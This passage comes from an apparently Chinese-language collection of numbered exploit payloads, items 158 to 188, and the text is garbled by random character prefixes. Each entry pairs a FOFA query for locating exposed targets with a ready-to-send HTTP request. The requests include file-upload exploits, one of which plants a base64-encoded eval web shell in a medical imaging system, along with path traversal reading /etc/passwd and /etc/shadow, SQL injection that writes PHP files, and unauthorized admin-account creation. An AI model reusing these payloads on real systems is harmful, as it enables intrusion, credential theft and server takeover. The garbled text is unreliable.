1 y* T- Y( X% W% _" {+ E+ cFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
8 J4 x0 ~3 ~: T$ E! JHost: {{Hostname}}
  a, M  L) Q% X/ M& N) U$ [$ hContent-Type: application/x-www-form-urlencoded
" @7 z9 U- X6 B
object=displayregion&contenthistid=x\'&previewid=1
$ E' w( @7 Q7 q$ W% J2 L
. z( h& \  Q3 B( z
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
7 Y4 {6 u8 P+ k1 n! p6 K% \( a+ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
! m% z/ l1 G" ]4 W0 [# G0 ^) \4 MContent-Length: 1080
Accept-Encoding: gzip, deflate
, u( @, z% o+ I1 @+ _( rConnection: close
5 y7 _1 y' b* V6 WContent-Type: text/xml; charset=utf-8
0 O9 o3 s- a" h6 rSoapaction: "http://rainier/jobUpload"
% t3 A0 T4 V% {  B
! J2 L' L' L7 @+ O* b<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 g4 C; a, l$ Q: P* W* A; Y) ^1 Y<soap:Body>
+ s& l! C1 |/ c<jobUpload xmlns="http://rainier">
/ ~9 Q% `" e( h- l0 `<vcode>1</vcode>
# H5 I/ n! \' E! i<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
+ k, R& o" S& J$ J' y  h4 i9 N# v( `</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
* M' |0 h8 s# d0 {1 ?4 ^; q

5 P0 g% Y" E7 }- x160. Sonatype Nexus Repository 3目录遍历与文件读取
2 D, h+ d8 G* E' @2 ?! p% eCVE-2024-4956
( I$ {$ K+ q5 \FOFA：title="Nexus Repository Manager"
3 O) d; k. Y- o" kGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
. s2 _( T. f. UUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
2 C4 r% d7 }  l3 |* [Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

$ |- P0 j, k7 H& N# r+ l8 H2 @
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
/ n- o2 [* v2 {FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# B5 X1 g! M/ F8 Y; BConnection: close
" |& g" B! z+ h3 `6 ]1 I) y+ X: h' pContent-Length: 445
7 H) z( W, i2 ^Content-Type: text/xml
Accept-Encoding: gzip
+ \& x1 N* x% w1 b0 p* E  H# |0 Y
# u9 K* V% w% O. u9 \( x$ B9 J: X<?xml version="1.0" encoding="utf-8"?>
- Z8 o! O0 @/ A# I<soap:Envelope xmlns:xsi="
8 l- L; F# R  a! Mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 G) ]% g1 T: N. |<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
% T. ]  S5 \# m% Q$ o" I/ T<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
  ?/ s1 U& \" @9 g8 S2 P<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
  R/ p3 e( K# `# `% C, L<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>

7 a; T/ p: B7 v# z" g6 [3 Y
) Z7 Q; }  |1 c5 R4 O& U0 chttp://x.x.x.x/dizxdell.aspx
1 D& ]# i8 Q& J6 J; K
* d/ q% g, ~# U162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
% l& g! b% G( e/ G! y4 l3 x: FFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
7 o9 D& K. c$ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
& Z2 H1 o1 a& D% Y4 D; lConnection: close
6 @8 }" V' v0 x% i* LContent-Length: 583
5 H; A3 F( b% _4 ?, q3 uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
! H2 _- S0 c4 [  g# Z9 k
3 }! L) F) F1 A9 S! U' L3 A------WebKitFormBoundaryeegvclmyurlotuey
5 M* M6 R' I; z5 J" x- zContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

0 E3 q. e( F5 i: Y8 f<% response.write("ujidwqfuuqjalgkvrpqy") %>
- f9 k# `9 z0 v6 Y* N------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
, L, D5 }" a% }, {# y) J! @
upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
3 y4 I8 o  `; K2 {& T+ G7 r' m
ResourceNewResponder
5 v7 B  R3 K6 Y# h------WebKitFormBoundaryeegvclmyurlotuey
# x! p: }) J, i8 ]) i; WContent-Disposition: form-data; name="remotePath"
' D3 R" M# p1 t- |7 U7 ^* Z
7 J4 O5 N' Q& m( {/opt/resources
% S0 U3 _" y. g------WebKitFormBoundaryeegvclmyurlotuey--
# f% s2 p1 ^7 v2 k4 P3 }& G
: F. G4 s* S+ y! {% r' N7 k, {
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

( }# x1 }* M( n- ]5 a$ c163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
6 c5 e7 c: {( W) E* cAccept: */*
) R! Y# {" G8 h' c2 k" ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! J1 Y" T, H; L2 BContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
& s, ^6 @5 a) _' U& t, [. u+ q
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

3 p/ x8 N: R$ K* `/ Q3 _$ \1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
2 y3 A( s/ H3 g( k1 |Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

7 i5 i# Z# y7 x+ c. i3 prvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
9 b" I  X2 L+ o$ S8 F# E; }. I

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
$ }$ }7 s1 O% K  N6 z5 kFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
9 X+ J3 m7 x  F8 t6 O) G# n4 U: r9 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
; @9 H5 M1 i) e* R! c& U( W+ nContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
4 ]9 Q$ A0 {/ x4 d' rContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
: i8 e2 w3 Q9 g' {0 ?X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
0 c2 H% v: F3 R! t
------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! _2 i# q& S2 o/ `------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

. @% J2 F( J) C' y3 E165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
& T( l7 y+ h0 e0 a" _, \' DFOFA: app="OrangeHRM-产品"
# w4 q2 i7 L0 ^) B( q' gURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
) p8 }* A3 N5 t, o4 s

166. 中成科信票务管理平台SeatMapHandler SQL注入
( ]# a9 H9 I5 x" ?  wFOFA：body="技术支持：北京中成科信科技发展有限公司"
. n( e; _& ]: m; \& lPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
; V7 O. R9 |  e7 AHost:
/ o; ~! d4 p; s; cPragma: no-cache
- b' m8 [9 x4 ^3 K+ eCache-Control: no-cache
- `. k' L8 R; Q5 F1 k4 |# MUpgrade-Insecure-Requests: 1
8 S# F% ?/ w+ Q, m& ?1 f' e9 G$ s. AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
( ?4 h8 w  [" D" H. G) }+ ]Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
, E! U. ?9 M5 ]- k
' n  N& F* C" J5 \7 IMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

2 d& x& T4 x+ d1 |, `* q4 z5 J5 {# x+ l
7 K9 ^0 a+ ]8 A( |167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
% e* ~6 M7 @) A7 p, [& wHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# P/ |1 ]* y% `$ V% {# Z4 {Content-Type: application/x-www-form-urlencoded
' W  Y9 R9 \" {9 r) PAccept-Encoding: gzip, deflate
7 Q6 h* N) \3 H& }- R. E4 G; xAccept: */*
Connection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
$ o' }- c2 `- {* C- VFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
/ _( G6 n5 e2 U0 b& [9 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
' v- F+ C& @/ P( R* m3 r
6 v+ Z& ~* {$ c" p2 |, e9 @
1 M$ b6 s9 g  |3 D
: n: d8 ]4 H8 w, O- o* \169. 宏景EHR downlawbase SQL注入
9 R  ]2 p4 s' N9 s" dFOFA：app="HJSOFT-HCM"
- z6 }: E5 V: l$ LGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
" K4 a4 h0 o* dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
: X9 e. z( T# M. n4 C" MAccept-Encoding: gzip, deflate
+ Z; f6 _2 i* F9 h* xConnection: close
3 [' M' V; Y" U; ]0 _% \5 |% g2 U

" t! o: J# J+ Z$ j1 X
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
; r+ B; `& |" ~2 p$ WPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
' Z4 N4 @0 _' {8 {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
: K+ R- T; V& F. l/ V" j

171. 通天星CMSV6车载定位监控平台 SQL注入
6 X  z0 B# |5 OFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
3 `7 _0 i4 Q% R2 F& S% y& fHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
9 ^+ d% P9 w$ f6 X: F0 \, Z% A
+ a8 @% @2 [% }" u. \

3 T9 ~8 _* n  f172. DT-高清车牌识别摄像机任意文件读取
, P* W0 s' F) o% P* P7 oFOFA：app="DT-高清车牌识别摄像机"
/ w' j, x, i: b- EGET /../../../../etc/passwd HTTP/1.1
* d; I+ _2 w2 KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
$ W2 |3 r- @9 H( p. d+ \' hConnection: keep-alive
9 _% X, u# w6 C& I; P6 J

0 l! x, D. i( j: ^& @' }1 c
9 D$ {5 l4 @; y$ P9 M$ N- S( Z& Q173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
  v- D& Q% a$ L; eHost: your-ip
Content-Type: application/x-www-form-urlencoded
4 J* r& I$ s+ J. m$ x  l" \' V" T
aCSHELL/../../../../../../../etc/shadow


+ a5 e% c6 J: M4 w$ Y* X- R
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 c5 y) X) s) _  b6 N5 j7 d! ~9 p# ]FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ T$ T* I7 \+ K- m

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
" T. S9 H8 z: vFOFA：app="金和网络-金和OA"
, h4 A2 F6 t$ k5 f, O3 }GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
! }  t% K9 x) |- N" r* I7 VHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; i3 O2 \0 q& sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 [  k; L& ~; a- P3 A  GAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

& p4 W' t0 C8 Q) [* j
176. 电信网关配置管理系统 rewrite.php 文件上传
; V2 t5 T7 k+ i6 A- [FOFA：body="img/login_bg3.png" && body="系统登录"
; }1 I: O  e: X# M" [2 t" dPOST /manager/teletext/material/rewrite.php HTTP/1.1
- b* {+ l; D/ H& `+ G7 r' e" w' e6 QHost: your-ip
" ~4 f* S  H: B3 A7 y, fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

4 _2 s2 t$ R& }------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

/ l" l) r: r9 R+ u1 o<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
5 ~6 x5 C/ [9 |% C4 xContent-Disposition: form-data; name="uploadtime"
1 o, b# X7 g0 |5 |+ F
( M6 F4 f5 L) ]
------WebKitFormBoundaryOKldnDPT--
, w2 U) X+ [. Z7 H' j0 W# G

8 b* L' O3 g+ l
177. H3C路由器敏感信息泄露
8 [- `: C  G/ ^/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
4 K0 p6 ~) g3 T+ z. }/ g/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
: X: _3 H5 P$ f8 g4 C( |2 O+ O. t/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
' N9 M# D' L+ a# K/ ]+ P/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
5 D* V$ ?3 A4 g" q" d% w/userLogin.asp/../actionpolicy_status/../ER5100.cfg
- R1 S. X  F- [/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
' z, s6 D" u# q  h5 N5 j! Z0 I/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
2 Z+ Q7 t# z- u" A/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
: ^! q* D1 G8 Q/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
' Y6 j3 K9 q3 d# Y- }

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
  B/ ~8 [3 J; E( a9 b( MFOFA：header="/selfservice"
6 B" m+ y/ c  fPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
. h" T6 n5 K  T7 j% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
$ g+ R1 P" x2 rConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
7 m# V; j0 ?4 b+ PContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
8 H& U+ e9 d8 i+ Q-----------------aqutkea7vvanpqy3rh2l--
) \; L/ j- D4 J
' ]: j- j& \& A: o& K5 j% i8 M
GET /imc/primepush/%2e%2e/flex/12234.txt
5 `; a, c1 u  g# q+ O

179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; v/ W# A3 s& o: R: L) `1 ]Host: {{Hostname}}
5 {* T8 V; ^& s2 KContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
/ t% ?/ P3 ]& i: q$ A- u' J
path=../log4net.config&Name=
- h5 k+ m2 q" u2 c7 T( f: n7 y4 u
0 Z/ w7 V2 M- J, \2 ~# c
  [  u% `* D" O% q( T& T4 r7 z" Y. d180. 帮管客 CRM jiliyu SQL注入
8 G( z* W' Q9 ^1 gFOFA：app="帮管客-CRM"
1 ~1 D5 c7 o1 \2 lGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
6 }. o/ {' {4 Y: Y% y' e% XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% @5 e) |. g' x- N# q0 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, x) X; n( J7 }6 B8 JAccept-Encoding: gzip, deflate
7 R+ O0 L( D; Z: t5 L' S% qAccept-Language: zh-CN,zh;q=0.9
$ g' b2 I/ Y: D% E9 _' B, `! ~Connection: close


) K5 H6 j. B1 }6 s181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
/ `6 Z0 s0 m" _POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
5 o: e" V) P- i+ m, z: e, Z/ |* MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- r3 D8 Z. \" p& q$ H( E6 JAccept-Encoding: gzip, deflate, br
/ s. F. i" g) g1 \- xAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

+ c, D. H3 x$ g6 P) q6 |
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
1 l, Q0 O! x8 A$ k7 iFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
$ [2 B: L- c( t4 _Host: your-ip
" m4 f6 a- o" F! Y. H; I1 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
& \% c3 i% o+ J  k2 p$ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; ^- r# M, b0 O+ d+ u' M1 Z- SAccept-Language: zh-CN,zh;q=0.9
Connection: close
% A% e$ f2 _9 M% lContent-Type: application/x-www-form-urlencoded
! b9 C. d, J/ m# {3 m9 }% \( M

3 g4 V: X# m! A) Y) d4 h% i( qusername=test1234&pwd=test1234&savedays=1
" e- z; x+ U8 _

# e. b  B: u) B" D183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
  P+ t  a8 ?1 B7 L8 K# f0 a* ]* HAccept-Encoding: gzip, deflate
Connection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
: f/ U. H/ h( t( `POST /soap/AddUser HTTP/1.1
# p- D! F! a  T+ U- M, v2 XHost: your-ip
1 y% x! S- {# v  uAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  ?# e, Y' Z5 d0 E; \( `6 z: XX-Requested-With: XMLHttpRequest
$ X( |0 A: @" V; ~# D$ X
" E4 Y6 s/ a4 o
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
$ d; U( |$ i3 s5 N+ j

% I) `8 T& E# Q; N8 w185. 瑞友天翼应用虚拟化系统SQL注入
1 o/ N6 E6 I2 S' d/ b- Pversion < 7.0.5.1
0 m# W+ T2 Q% Z' h  ~% Q! \: lFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
' ]' x- j: g/ B1 b2 P( y/ b1 P& ^Host: host
8 L; H" B! Q5 O4 e. h

186. F-logic DataCube3 SQL注入
2 W# b* w: ^: B: A& A+ JCVE-2024-31750
1 H, l2 e: W/ ?* B. \9 ~1 tF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
( J9 M" T. G2 t" u1 V! h# @* U- PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
; U% K; |, K# j3 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. i8 ~  L/ g( ^/ xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
1 U3 I# |2 x; K) ~Content-Type: application/x-www-form-urlencoded

1 w% ?# h! ~& S( Y% ~3 ?/ Q7 I* @req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
) i5 h/ j) U' P2 d

187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
; {6 f! Y, f. _: L- [( g1 WHost: your-ip
& f& P, O& I9 o$ P; CContent-Type: application/x-www-form-urlencoded
( o8 q, }/ Q9 N3 q9 b

3 {4 o5 s  a9 w( w) O- {& ^$ ]object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


; R( R; x( Z8 T! |, C8 t# r188. 叁体-佳会视频会议 attachment 任意文件读取
& D; C. t% l( E; A: Q3 W" ]version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
